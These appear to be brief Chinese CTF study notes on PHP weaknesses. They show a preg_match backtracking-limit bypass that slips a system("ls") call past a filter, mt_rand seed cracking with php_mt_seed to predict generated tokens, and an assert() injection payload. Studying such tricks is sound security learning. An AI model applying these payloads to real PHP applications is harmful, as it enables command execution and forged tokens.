函数漏洞

preg_match #

  • 在没有修饰符s(匹配换行符)的时候。preg_match只能匹配一行

  • 最大回溯次数

    • 在正则匹配当中,如果存在符号 " .*? " ,那么匹配的时候便会使用非贪婪模式。非贪婪模式匹配原理简单来说就是, 在可配也可不配的情况下, 优先不匹配. 记录备选状态, 并将匹配控制交给正则表达式的下一个匹配字符, 当之后的匹配失败的时候, 再回溯, 进行匹配。最大回溯是1000000次

    • python

    • 'flag'*1000000+'system("ls")'
      
    • 就绕过了system

mt_seed #

设置随机数种子

PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户

配合软件https://www.openwall.com/php_mt_seed/php_mt_seed-4.0.tar.gz

编译

make
str1 ='Hg11vtADEm'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''

length = str(len(str2)-1)
for i in range(0,len(str1)):
    for j in range(0,len(str2)):
        if str1[i] ==  str2[j]:
            result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break

print(result)
./php_mt_seed xx xx
<?php
mt_srand(348806110);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?> 

assert #

断言,其写法相当于

if(...){
    ....
}else{
    die(...)
}
assert("intval($_GET[num])==1919810") or die("error!");

总的来说还是用拼接绕过

如num=1);(1919810